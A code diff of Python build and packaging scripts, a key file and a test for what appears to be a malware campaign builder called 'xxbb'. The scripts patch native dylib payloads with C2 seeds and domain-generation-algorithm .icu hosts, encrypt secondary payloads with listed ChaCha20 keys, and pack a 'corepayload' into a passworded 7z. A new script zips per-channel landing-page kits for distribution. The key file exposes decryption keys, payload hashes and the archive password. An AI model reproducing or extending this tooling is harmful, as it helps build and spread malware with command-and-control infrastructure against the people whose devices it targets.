@@ -24,6 +28,7 @@ from pathlib import Path
|
||||
|
||||
from _details_pack import extract_member, make_passworded_7z
|
||||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||||
from _weifile_discover import DEFAULT_HELPER_STEM, discover_secondary_stems
|
||||
from reproduce_xxbb_dga import generate_domains
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
@@ -36,12 +41,13 @@ SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
|
||||
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
|
||||
RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
||||
LAB_SEEDS_NAME = "lab_seeds.json"
|
||||
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
|
||||
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
|
||||
WEIFILE_ROOT = "weifile"
|
||||
DETAILS_ROOT = "details"
|
||||
LANDING_NAME = "weifile.html"
|
||||
CHANNEL_HTML_PLACEHOLDER = "__CHANNEL_C__"
|
||||
CHANNEL_CODE_RE = re.compile(r"^[A-Za-z0-9]{8}$")
|
||||
INDEX_CHANNEL_PLACEHOLDER = "CACACACA"
|
||||
INDEX_IPTJ_HOST_PLACEHOLDER = "[placeholder].icu"
|
||||
CORE_WIRE_NAME = "corepayload.js"
|
||||
CORE_MEMBER_NAME = "corepayload.dylib"
|
||||
SHOW_WIRE_NAME = "show.html"
|
||||
@@ -83,6 +89,7 @@ RESERVED_CHANNEL_NAMES = frozenset(
|
||||
"channel",
|
||||
"out",
|
||||
"t",
|
||||
"nb",
|
||||
"a",
|
||||
"u",
|
||||
"uj",
|
||||
@@ -138,62 +145,6 @@ def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect
|
||||
return count
|
||||
|
||||
|
||||
# Longest-first. Native DGA / backup / NSURL scheme slots (NUL-terminated).
|
||||
HTTPS_CSTRINGS = (
|
||||
b"https://backup%u.icu",
|
||||
b"https://%@",
|
||||
b"https://",
|
||||
b"https",
|
||||
)
|
||||
|
||||
|
||||
def http_cstring(https_s: bytes) -> bytes:
|
||||
if not https_s.startswith(b"https"):
|
||||
raise SystemExit(f"not an https C-string: {https_s!r}")
|
||||
return b"http" + https_s[5:]
|
||||
|
||||
|
||||
def replace_cstring(buf: bytearray, old: bytes, new: bytes, *, label: str, expect: int) -> int:
|
||||
"""Replace a NUL-terminated C string in place. `new` must be <= `old` (pad with NUL)."""
|
||||
if b"\x00" in old or b"\x00" in new:
|
||||
raise SystemExit(f"{label}: C-string must not contain NUL")
|
||||
if len(new) > len(old):
|
||||
raise SystemExit(f"{label}: cannot grow {old!r} -> {new!r}")
|
||||
old_c = old + b"\x00"
|
||||
new_c = new + b"\x00" * (len(old_c) - len(new))
|
||||
count = 0
|
||||
start = 0
|
||||
while True:
|
||||
index = buf.find(old_c, start)
|
||||
if index < 0:
|
||||
break
|
||||
buf[index : index + len(old_c)] = new_c
|
||||
count += 1
|
||||
start = index + len(old_c)
|
||||
if count != expect:
|
||||
raise SystemExit(
|
||||
f"{label}: unexpected hits for {old.decode('ascii', 'replace')}\\0 "
|
||||
f"count={count} (want {expect})"
|
||||
)
|
||||
return count
|
||||
|
||||
|
||||
def patch_url_scheme(buf: bytearray, *, scheme: str, label: str) -> None:
|
||||
if scheme == "https":
|
||||
for old in HTTPS_CSTRINGS:
|
||||
if buf.find(old + b"\x00") < 0:
|
||||
raise SystemExit(f"{label}: missing {old.decode()}\\0")
|
||||
return
|
||||
if scheme != "http":
|
||||
raise SystemExit("--scheme must be http or https")
|
||||
for old in HTTPS_CSTRINGS:
|
||||
replace_cstring(buf, old, http_cstring(old), label=label, expect=1)
|
||||
if buf.find(b"https://%@\x00") >= 0 or buf.find(b"https://backup%u.icu\x00") >= 0:
|
||||
raise SystemExit(f"{label}: https URL formats still present")
|
||||
if buf.find(b"http://%@\x00") < 0 or buf.find(b"http://backup%u.icu\x00") < 0:
|
||||
raise SystemExit(f"{label}: http URL formats missing after patch")
|
||||
|
||||
|
||||
def sha256_hex(data: bytes) -> str:
|
||||
return hashlib.sha256(data).hexdigest()
|
||||
|
||||
@@ -204,10 +155,40 @@ def ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||
|
||||
|
||||
def load_keys() -> dict:
|
||||
"""Discover type-0x01 stems from source/weifile; json only supplies helper key."""
|
||||
meta = json.loads(SECONDARY_KEYS.read_text())
|
||||
stems = meta.get("stems")
|
||||
if not isinstance(stems, dict) or not stems:
|
||||
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing stems")
|
||||
helper_hex = meta.get("helper_key")
|
||||
if not isinstance(helper_hex, str) or not helper_hex:
|
||||
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing helper_key")
|
||||
helper_stem = meta.get("helper_stem") or DEFAULT_HELPER_STEM
|
||||
try:
|
||||
discovered = discover_secondary_stems(
|
||||
SOURCE_WEIFILE, bytes.fromhex(helper_hex), helper_stem
|
||||
)
|
||||
except Exception as exc:
|
||||
raise SystemExit(f"failed to discover secondaries from {SOURCE_WEIFILE}: {exc}") from exc
|
||||
|
||||
hash_to_group: dict[str, str] = {}
|
||||
for path in SOURCE_DYLIBS.glob("group_*.dylib"):
|
||||
digest = sha256_hex(path.read_bytes())
|
||||
group = path.name.split("_")[1]
|
||||
if digest in hash_to_group and hash_to_group[digest] != group:
|
||||
raise SystemExit(f"dylib hash {digest[:16]}… mapped to both {hash_to_group[digest]} and {group}")
|
||||
hash_to_group[digest] = group
|
||||
if not hash_to_group:
|
||||
raise SystemExit(f"no group_*.dylib under {SOURCE_DYLIBS}")
|
||||
|
||||
stems: dict[str, dict] = {}
|
||||
for stem, info in discovered.items():
|
||||
group = hash_to_group.get(info["sha256"])
|
||||
if not group:
|
||||
raise SystemExit(
|
||||
f"{stem}: plaintext sha256 {info['sha256'][:16]}… has no matching source/dylibs group"
|
||||
)
|
||||
stems[stem] = {"key": info["key"], "group": group}
|
||||
if not stems:
|
||||
raise SystemExit("discovered zero type-0x01 secondaries")
|
||||
meta["stems"] = stems
|
||||
return meta
|
||||
|
||||
|
||||
@@ -225,13 +206,11 @@ def patch_dylib(
|
||||
reporting_seed: str,
|
||||
channel_c: str,
|
||||
label: str,
|
||||
scheme: str = "https",
|
||||
) -> bytes:
|
||||
buf = bytearray(data)
|
||||
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
|
||||
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
|
||||
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
|
||||
patch_url_scheme(buf, scheme=scheme, label=label)
|
||||
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
|
||||
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
|
||||
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
|
||||
@@ -306,11 +285,28 @@ def build_details(
|
||||
}
|
||||
|
||||
|
||||
def inject_channel_into_weifile(html_path: Path, channel_c: str) -> None:
|
||||
text = html_path.read_text(encoding="utf-8")
|
||||
if CHANNEL_HTML_PLACEHOLDER not in text:
|
||||
raise SystemExit(f"{html_path}: missing {CHANNEL_HTML_PLACEHOLDER} placeholder")
|
||||
html_path.write_text(text.replace(CHANNEL_HTML_PLACEHOLDER, channel_c), encoding="utf-8")
|
||||
def normalize_channel_code(value: str) -> str:
|
||||
code = (value or "").strip().upper()
|
||||
if not CHANNEL_CODE_RE.fullmatch(code):
|
||||
raise SystemExit("--channel-code must be 8 chars of [A-Za-z0-9] (e.g. FAFA9988)")
|
||||
if code.lower() in RESERVED_CHANNEL_NAMES:
|
||||
raise SystemExit(f"--channel-code {code!r} is reserved")
|
||||
return code
|
||||
|
||||
|
||||
def patch_index_js_host(text: str, host: str) -> str:
|
||||
if INDEX_IPTJ_HOST_PLACEHOLDER not in text:
|
||||
raise SystemExit(f"index.js: missing iptj host placeholder {INDEX_IPTJ_HOST_PLACEHOLDER}")
|
||||
if not XXBB_DGA_HOST_RE.fullmatch(host):
|
||||
raise SystemExit(f"iptj host {host!r} is not an xxbb DGA host")
|
||||
return text.replace(INDEX_IPTJ_HOST_PLACEHOLDER, host, 1)
|
||||
|
||||
|
||||
def new_channel_c() -> str:
|
||||
while True:
|
||||
value = gen_seed()
|
||||
if value != SEVEN_ZIP_PASSWORD:
|
||||
return value
|
||||
|
||||
|
||||
def copy_tree(src: Path, dst: Path) -> None:
|
||||
@@ -319,15 +315,6 @@ def copy_tree(src: Path, dst: Path) -> None:
|
||||
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
|
||||
|
||||
|
||||
def validate_channel_name(value: str) -> str:
|
||||
name = (value or "").strip().lower()
|
||||
if not CHANNEL_NAME_RE.fullmatch(name):
|
||||
raise SystemExit("--channel-name must be 8–32 chars of [a-z0-9]")
|
||||
if name in RESERVED_CHANNEL_NAMES:
|
||||
raise SystemExit(f"--channel-name {name!r} is reserved")
|
||||
return name
|
||||
|
||||
|
||||
def gen_seed() -> str:
|
||||
return secrets.token_hex(16)
|
||||
|
||||
@@ -419,15 +406,23 @@ def resolve_seeds(
|
||||
cli_dep: str | None,
|
||||
cli_rep: str | None,
|
||||
cli_c: str | None,
|
||||
random_c: bool = False,
|
||||
) -> tuple[str, str, str, dict, bool]:
|
||||
"""Return dep, rep, channel_c, domains, seeds_initialized."""
|
||||
if bool(cli_dep) ^ bool(cli_rep):
|
||||
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
|
||||
if random_c and (cli_c or "").strip():
|
||||
raise SystemExit("use either --channel-c or --random-c, not both")
|
||||
|
||||
existing = load_lab_seeds(lab_seeds_path)
|
||||
channel_c = (cli_c or "").strip() or (
|
||||
str(existing["channel_c"]) if existing and existing.get("channel_c") else ORIGINAL_C
|
||||
)
|
||||
if random_c:
|
||||
channel_c = new_channel_c()
|
||||
elif (cli_c or "").strip():
|
||||
channel_c = cli_c.strip()
|
||||
elif existing and existing.get("channel_c"):
|
||||
channel_c = str(existing["channel_c"])
|
||||
else:
|
||||
channel_c = new_channel_c()
|
||||
pack_ascii32("--channel-c", channel_c)
|
||||
if channel_c == SEVEN_ZIP_PASSWORD:
|
||||
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
|
||||
@@ -479,50 +474,45 @@ def default_state_root() -> Path:
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details."
|
||||
description="Patch xxbb secondary + corepayload c; apply /details and staged weifile."
|
||||
)
|
||||
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
|
||||
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
|
||||
parser.add_argument(
|
||||
"--channel-c",
|
||||
help="native report field c and DGA seed (lab new-builder passes channel_id here)",
|
||||
help="shared native DGA / report field c (32 hex). From env XXBB_CHANNEL_C or random.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--channel-name",
|
||||
help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)",
|
||||
"--random-c",
|
||||
action="store_true",
|
||||
help="generate a new random 32-hex c (rewrites lab_seeds.json channel_c + domains)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--artifact-root",
|
||||
type=Path,
|
||||
default=PROJECT_ROOT / "public",
|
||||
help="directory that will contain weifile/ and details/",
|
||||
help="directory that will contain details/ (default: ../public)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--state-root",
|
||||
type=Path,
|
||||
default=None,
|
||||
help=f"lab_seeds.json + out/ (default: {default_state_root()})",
|
||||
help=f"lab_seeds.json + out/weifile (default: {default_state_root()})",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--out",
|
||||
type=Path,
|
||||
help="intermediate output for rebuilt .min.js (default: <state-root>/out)",
|
||||
help="intermediate .min.js / dylibs (default: <state-root>/out)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--apply",
|
||||
action="store_true",
|
||||
help="write shared {artifact}/weifile/ and {artifact}/details/",
|
||||
help="write {artifact}/details/ and {state}/out/weifile/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--force",
|
||||
action="store_true",
|
||||
help="replace existing weifile/ and details/ (default with --apply)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scheme",
|
||||
choices=("http", "https"),
|
||||
default="https",
|
||||
help="native DGA/C2 URL scheme (https is required on device; http is ATS-blocked for .icu hosts)",
|
||||
help="replace existing details/ and staged weifile (default with --apply)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
@@ -533,12 +523,9 @@ def main() -> int:
|
||||
cli_dep=args.deployment_seed,
|
||||
cli_rep=args.reporting_seed,
|
||||
cli_c=args.channel_c,
|
||||
random_c=args.random_c,
|
||||
)
|
||||
|
||||
# Optional legacy flag; shared layout no longer uses per-channel folders.
|
||||
if args.channel_name:
|
||||
validate_channel_name(args.channel_name)
|
||||
|
||||
meta = load_keys()
|
||||
stems = meta["stems"]
|
||||
groups = sorted({info["group"] for info in stems.values()})
|
||||
@@ -552,7 +539,6 @@ def main() -> int:
|
||||
reporting_seed=rep,
|
||||
channel_c=channel_c,
|
||||
label=path.name,
|
||||
scheme=args.scheme,
|
||||
)
|
||||
patched[group] = data
|
||||
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
|
||||
@@ -585,13 +571,15 @@ def main() -> int:
|
||||
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
|
||||
)
|
||||
|
||||
weifile_path = ""
|
||||
weifile_path = None
|
||||
details_path = ""
|
||||
staged_weifile = ""
|
||||
iptj_host = ""
|
||||
|
||||
if args.apply:
|
||||
artifact = args.artifact_root.resolve()
|
||||
dest_weifile = artifact / WEIFILE_ROOT
|
||||
dest_details = artifact / DETAILS_ROOT
|
||||
# Shared trees are always replaced on --apply.
|
||||
dest_weifile = state_root / "out" / WEIFILE_ROOT
|
||||
if not SOURCE_WEIFILE.is_dir():
|
||||
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
|
||||
if not SOURCE_DETAILS.is_dir():
|
||||
@@ -600,7 +588,6 @@ def main() -> int:
|
||||
landing = dest_weifile / LANDING_NAME
|
||||
if not landing.is_file():
|
||||
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
|
||||
inject_channel_into_weifile(landing, channel_c)
|
||||
copy_tree(SOURCE_DETAILS, dest_details)
|
||||
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
|
||||
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
|
||||
@@ -609,11 +596,24 @@ def main() -> int:
|
||||
dst = dest_weifile / src.name
|
||||
shutil.copy2(src, dst)
|
||||
print(f"applied -> {dst}")
|
||||
print(f"applied weifile -> {dest_weifile}")
|
||||
hosts = list(domains.get("deployment") or [])
|
||||
if not hosts:
|
||||
raise SystemExit("no DGA domains computed from channel_c")
|
||||
iptj_host = hosts[0]
|
||||
index_path = dest_weifile / "index.js"
|
||||
if not index_path.is_file():
|
||||
raise SystemExit(f"missing index.js in staged weifile: {dest_weifile}")
|
||||
index_path.write_text(
|
||||
patch_index_js_host(index_path.read_text(encoding="utf-8"), iptj_host),
|
||||
encoding="utf-8",
|
||||
)
|
||||
print(f"staged weifile -> {dest_weifile}")
|
||||
print(f"applied details -> {dest_details}")
|
||||
weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}"
|
||||
print(f"index.js iptj host -> {iptj_host}")
|
||||
details_path = f"/{DETAILS_ROOT}/"
|
||||
staged_weifile = str(dest_weifile)
|
||||
|
||||
print(f"XXBB_CHANNEL_C={channel_c}")
|
||||
print("deployment domains:")
|
||||
for i, domain in enumerate(domains.get("deployment") or [], 1):
|
||||
print(f" {i:03d} {domain}")
|
||||
@@ -624,10 +624,11 @@ def main() -> int:
|
||||
result = {
|
||||
"campaign": "xxbb",
|
||||
"builder_type": "new",
|
||||
"channel_name": None,
|
||||
"weifile_path": weifile_path or None,
|
||||
"support_path": weifile_path or None,
|
||||
"weifile_path": weifile_path,
|
||||
"support_path": None,
|
||||
"details_path": details_path or None,
|
||||
"staged_weifile": staged_weifile or None,
|
||||
"iptj_host": iptj_host or None,
|
||||
"seeds_initialized": seeds_initialized,
|
||||
"sync_rebuilt": bool(args.apply),
|
||||
"domains": domains,
|
||||
@@ -638,15 +639,14 @@ def main() -> int:
|
||||
},
|
||||
"seven_zip_password": SEVEN_ZIP_PASSWORD,
|
||||
"files": built,
|
||||
"stem_count": len(built),
|
||||
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
||||
"details": details_meta,
|
||||
"scheme": args.scheme,
|
||||
"notes": [
|
||||
"secondary + corepayload c patched; domains follow channel_c DGA",
|
||||
"shared artifact paths: /weifile/weifile.html and /details/",
|
||||
"index.js iptj URL / channelCode not patched",
|
||||
"details published to /details/; weifile staged under state-root/out/weifile",
|
||||
"index.js iptj host is DGA(channel_c)[0]; CACACACA is left for pack_channel.py",
|
||||
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
|
||||
f"native DGA/C2 scheme={args.scheme}",
|
||||
],
|
||||
}
|
||||
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
|
||||
|
||||
@@ -20,7 +20,6 @@ def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Shared weifile/details are not deleted per channel (noop)."
|
||||
)
|
||||
parser.add_argument("--channel-name", default="", help="ignored (legacy)")
|
||||
parser.add_argument(
|
||||
"--artifact-root",
|
||||
type=Path,
|
||||
@@ -32,7 +31,6 @@ def main() -> int:
|
||||
result = {
|
||||
"status": "skipped",
|
||||
"reason": "shared_weifile_details",
|
||||
"channel_name": (args.channel_name or "").strip().lower() or None,
|
||||
"artifact_root": str(artifact_root),
|
||||
"removed": False,
|
||||
"weifile": str(artifact_root / xxbb_build.WEIFILE_ROOT),
|
||||
|
||||
@@ -0,0 +1,141 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Pack a per-channel weifile zip from the already-built staged tree.
|
||||
|
||||
Does not rebuild natives or details. Requires `tools/build.py --apply` first.
|
||||
|
||||
1. Copy staged weifile (storage/app/channel-builder-new/out/weifile)
|
||||
2. Replace CACACACA in index.js with the 8-char channel id
|
||||
3. Zip as {artifact-root}/channel-source-new/{CHANNELID}.zip
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
from zipfile import ZIP_DEFLATED, ZipFile
|
||||
|
||||
import build as xxbb_build
|
||||
|
||||
RESULT_MARKER = xxbb_build.RESULT_MARKER
|
||||
INDEX_CHANNEL_PLACEHOLDER = xxbb_build.INDEX_CHANNEL_PLACEHOLDER
|
||||
WEIFILE_ROOT = xxbb_build.WEIFILE_ROOT
|
||||
LAB_SEEDS_NAME = xxbb_build.LAB_SEEDS_NAME
|
||||
|
||||
|
||||
def staged_weifile_dir(state_root: Path) -> Path:
|
||||
return state_root / "out" / WEIFILE_ROOT
|
||||
|
||||
|
||||
def patch_channel_code(text: str, channel_code: str) -> str:
|
||||
if INDEX_CHANNEL_PLACEHOLDER not in text:
|
||||
raise SystemExit(
|
||||
f"index.js: missing {INDEX_CHANNEL_PLACEHOLDER} placeholder; "
|
||||
"re-run tools/build.py --apply"
|
||||
)
|
||||
return text.replace(INDEX_CHANNEL_PLACEHOLDER, channel_code, 1)
|
||||
|
||||
|
||||
def write_zip(weifile_dir: Path, zip_path: Path) -> Path:
|
||||
zip_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
if zip_path.exists():
|
||||
zip_path.unlink()
|
||||
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
|
||||
with ZipFile(zip_path, "w", compression=ZIP_DEFLATED) as archive:
|
||||
for path in sorted(weifile_dir.rglob("*")):
|
||||
if not path.is_file():
|
||||
continue
|
||||
if path.name in skip or path.suffix == ".pyc":
|
||||
continue
|
||||
if any(part in skip for part in path.relative_to(weifile_dir).parts):
|
||||
continue
|
||||
rel = Path(WEIFILE_ROOT) / path.relative_to(weifile_dir)
|
||||
archive.write(path, rel.as_posix())
|
||||
return zip_path
|
||||
|
||||
|
||||
def pack_channel(
|
||||
*,
|
||||
channel_code: str,
|
||||
weifile_src: Path,
|
||||
zip_out: Path,
|
||||
) -> dict:
|
||||
code = xxbb_build.normalize_channel_code(channel_code)
|
||||
index_src = weifile_src / "index.js"
|
||||
if not index_src.is_file():
|
||||
raise SystemExit(
|
||||
f"staged weifile missing ({index_src}). "
|
||||
"Run: python tools/build.py --apply"
|
||||
)
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp) / WEIFILE_ROOT
|
||||
xxbb_build.copy_tree(weifile_src, dest)
|
||||
index_path = dest / "index.js"
|
||||
index_path.write_text(
|
||||
patch_channel_code(index_path.read_text(encoding="utf-8"), code),
|
||||
encoding="utf-8",
|
||||
)
|
||||
write_zip(dest, zip_out)
|
||||
|
||||
return {
|
||||
"campaign": "xxbb",
|
||||
"builder_type": "new",
|
||||
"channel_code": code,
|
||||
"zip_path": str(zip_out),
|
||||
"weifile_src": str(weifile_src),
|
||||
}
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Pack staged weifile into public/channel-source-new/{CHANNELID}.zip"
|
||||
)
|
||||
parser.add_argument("--channel-code", required=True, help="8-char channel id (e.g. FAFA9988)")
|
||||
parser.add_argument(
|
||||
"--state-root",
|
||||
type=Path,
|
||||
default=None,
|
||||
help=f"builder state (default: {xxbb_build.default_state_root()})",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--weifile-src",
|
||||
type=Path,
|
||||
default=None,
|
||||
help="staged weifile directory (default: <state-root>/out/weifile)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--zip-out",
|
||||
type=Path,
|
||||
required=True,
|
||||
help="output zip path",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
state_root = (args.state_root or xxbb_build.default_state_root()).resolve()
|
||||
weifile_src = (args.weifile_src or staged_weifile_dir(state_root)).resolve()
|
||||
zip_out = args.zip_out.resolve()
|
||||
|
||||
result = pack_channel(channel_code=args.channel_code, weifile_src=weifile_src, zip_out=zip_out)
|
||||
seeds_path = state_root / LAB_SEEDS_NAME
|
||||
if seeds_path.is_file():
|
||||
try:
|
||||
seeds = json.loads(seeds_path.read_text())
|
||||
if isinstance(seeds, dict):
|
||||
result["seeds"] = {
|
||||
"deployment_seed": seeds.get("deployment_seed"),
|
||||
"reporting_seed": seeds.get("reporting_seed"),
|
||||
"channel_c": seeds.get("channel_c"),
|
||||
}
|
||||
result["domains"] = seeds.get("domains") or {"deployment": [], "reporting": []}
|
||||
except json.JSONDecodeError:
|
||||
pass
|
||||
|
||||
print(f"packed {result['channel_code']} -> {zip_out}")
|
||||
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,5 +1,7 @@
|
||||
{
|
||||
"note": "Per-stem ChaCha20 keys from primary type-0x07 (nonce = 8 zero bytes). Groups A/C are 715760-byte type-0x01 builds; B is the 747936-byte build (3 stems share bytes).",
|
||||
"note": "Per-stem ChaCha20 keys from FAFA9988 primary type-0x07 (nonce = 8 zero bytes). Groups A/C are 715760-byte type-0x01 builds (different bytes); B is 747936. build.py also rediscovers stems from source/weifile via helper type-0x07.",
|
||||
"source": "FAFA9988/weifile",
|
||||
"helper_stem": "7a7d99099b035b2c6512b6ebeeea6df1ede70fbb",
|
||||
"helper_key": "b38fd1ccd6570d8b3ce8edabd740e60d97e93a44fb27b35f2c54c473a37ce676",
|
||||
"originals": {
|
||||
"deployment_seed": "321fb0c812b46265421b5ad9654c2b81",
|
||||
@@ -8,25 +10,65 @@
|
||||
"seven_zip_password": "202800cfb1ad3de68e11239dcc26c30b"
|
||||
},
|
||||
"stems": {
|
||||
"800d80e0fa1f2baf9a9e41169ecc88e18042bb17": {
|
||||
"key": "a1cfc122350d103d50d31c9083b0927f125f0973e4266d49bdf94153e1653b15",
|
||||
"group": "A"
|
||||
"1ad1ff474e417d0a07ff1ed70a5f4c9daf3644f6": {
|
||||
"key": "9622b5532c3308ad21fbc7d76974f791f62c544e7f11e5b42aba18790d33d930",
|
||||
"group": "A",
|
||||
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
|
||||
"size": 715760
|
||||
},
|
||||
"3215fc5c0f7e2ccced71057fabe5a55944d87412": {
|
||||
"key": "30041769ac1061ea04ccc1119f7b778736964232dae0fb8c93aa2d09bcb0962e",
|
||||
"group": "B"
|
||||
},
|
||||
"81b403cc1fe0c47839c4ad07e2d7a18618c07dd4": {
|
||||
"key": "feeb9b36649003a6f0a4f4e99861f66df545e3a473d486d2d01695a77c801c9f",
|
||||
"group": "B"
|
||||
},
|
||||
"4817ea8063eb4480e915f1a4479c62ec774f52ce": {
|
||||
"key": "b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2",
|
||||
"group": "B"
|
||||
"group": "B",
|
||||
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
|
||||
"size": 747936
|
||||
},
|
||||
"4612aa650e60e2974a9ec37bbf922c79635b493a": {
|
||||
"key": "85ab5908ceb1981df3449b52155a5026561c51d6f9f599acc99c5203b14733eb",
|
||||
"group": "C"
|
||||
"group": "C",
|
||||
"sha256": "7ccfbf4450c5c68822989cf9cdf5d68a79b65a0e0047340cb1c28c834a821953",
|
||||
"size": 715760
|
||||
},
|
||||
"4817ea8063eb4480e915f1a4479c62ec774f52ce": {
|
||||
"key": "b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2",
|
||||
"group": "B",
|
||||
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
|
||||
"size": 747936
|
||||
},
|
||||
"667fa543143862135ab6b41740421a4752799863": {
|
||||
"key": "04da244132e7096db7a58bd0d683088df7e09b0cf8ddd39af0210b072484c56d",
|
||||
"group": "A",
|
||||
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
|
||||
"size": 715760
|
||||
},
|
||||
"800d80e0fa1f2baf9a9e41169ecc88e18042bb17": {
|
||||
"key": "a1cfc122350d103d50d31c9083b0927f125f0973e4266d49bdf94153e1653b15",
|
||||
"group": "A",
|
||||
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
|
||||
"size": 715760
|
||||
},
|
||||
"81b403cc1fe0c47839c4ad07e2d7a18618c07dd4": {
|
||||
"key": "feeb9b36649003a6f0a4f4e99861f66df545e3a473d486d2d01695a77c801c9f",
|
||||
"group": "B",
|
||||
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
|
||||
"size": 747936
|
||||
},
|
||||
"a159973efdd00dd988fec1d707338545d9487b6a": {
|
||||
"key": "7ae216d3b4ba8b417b1784f2d0e8f10c40377819345f8946974420fdd1fd111f",
|
||||
"group": "B",
|
||||
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
|
||||
"size": 747936
|
||||
},
|
||||
"e3b865be8672d1357bdaac817cdab2d1b4458492": {
|
||||
"key": "00afe7b09f138818df107a742ab76620880e78e8e4de2dba5d570611ccea04cb",
|
||||
"group": "B",
|
||||
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
|
||||
"size": 747936
|
||||
},
|
||||
"fb95e427382180860f0b48a8854576ec1a6ce7b1": {
|
||||
"key": "7fb9b6821d97f71081ccf74df48cc1d303187d5df410b881b031dcbf44d4fa98",
|
||||
"group": "A",
|
||||
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
|
||||
"size": 715760
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -31,7 +31,6 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
reporting_seed=rep,
|
||||
channel_c=channel_c,
|
||||
label=path.name,
|
||||
scheme="https",
|
||||
)
|
||||
self.assertEqual(data.count(dep.encode()), 1)
|
||||
self.assertEqual(data.count(rep.encode()), 1)
|
||||
@@ -79,27 +78,38 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(xxbb_build.main(), 0)
|
||||
finally:
|
||||
sys.argv = old
|
||||
weifile = artifact / "weifile"
|
||||
weifile = state / "out" / "weifile"
|
||||
details = artifact / "details"
|
||||
self.assertFalse((artifact / "weifile").exists())
|
||||
self.assertTrue((weifile / "index.js").is_file())
|
||||
self.assertTrue((weifile / "weifile.html").is_file())
|
||||
html = (weifile / "weifile.html").read_text(encoding="utf-8")
|
||||
self.assertIn(channel_c, html)
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertIn("/t.js", html)
|
||||
self.assertNotIn("/t.js", html)
|
||||
self.assertIn("index.js", html)
|
||||
index_js = (weifile / "index.js").read_text(encoding="utf-8")
|
||||
expected_host = generate_domains(channel_c, 1)[0]
|
||||
self.assertIn(expected_host, index_js)
|
